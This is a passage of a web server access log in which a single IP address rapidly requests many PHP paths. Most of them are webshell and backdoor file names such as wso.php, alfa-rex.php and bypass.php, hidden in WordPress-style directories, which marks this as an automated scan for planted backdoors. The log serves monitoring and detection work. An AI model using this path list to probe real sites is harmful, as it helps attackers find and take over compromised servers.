HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:55 +0300] "GET /wp-admin/css/colors/ocean/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:55 +0300] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:00:55 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:55 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:55 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:55 +0300] "GET /wp-admin/maint/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:55 +0300] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /blog/wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /blog/wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:56 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:00:57 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:57 +0300] "GET /setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:57 +0300] "GET /.bod/.ll/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:57 +0300] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:57 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:57 +0300] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:57 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:57 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:57 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:57 +0300] "GET /ab.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:57 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:57 +0300] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:57 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:00:57 +0300] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:57 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:57 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:57 +0300] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:58 +0300] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:58 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:58 +0300] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:00:58 +0300] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:58 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:58 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:00:58 +0300] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:58 +0300] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:58 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:58 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:58 +0300] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:58 +0300] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:58 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:58 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:00:58 +0300] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:00:58 +0300] "GET /wp-includes/blocks/calendar/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:58 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:58 +0300] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:58 +0300] "GET /wp-admin/js/instaall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:58 +0300] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:58 +0300] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:59 +0300] "GET /wp-content/plugins/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:59 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:00:59 +0300] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:59 +0300] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:59 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:59 +0300] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:59 +0300] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:59 +0300] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:00:59 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:00:59 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:59 +0300] "GET /wp-admin/css/colors/blue/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:00:59 +0300] "GET /wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:59 +0300] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:59 +0300] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:59 +0300] "GET /.well-known/wincust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:00:59 +0300] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:59 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:59 +0300] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:59 +0300] "GET /wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:00 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:01:00 +0300] "GET /wp-content/themes/twentytwentyfour/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:01:00 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:00 +0300] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:00 +0300] "GET /fonts/database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:00 +0300] "GET /ff2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:00 +0300] "GET /wp-includes/SimplePie/Exception-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:00 +0300] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:01:00 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:00 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:00 +0300] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:00 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:00 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:00 +0300] "GET /wp-content/uploads/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:00 +0300] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:01 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:01 +0300] "GET /js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:01 +0300] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:01 +0300] "GET /worm.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:01 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:01 +0300] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:01:01 +0300] "GET /.well-known/pki-validation/1.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:01 +0300] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:01 +0300] "GET /.well-known/pki-validation/install.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:01 +0300] "GET /wp-admin/css/colors/sunrise/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:01 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows 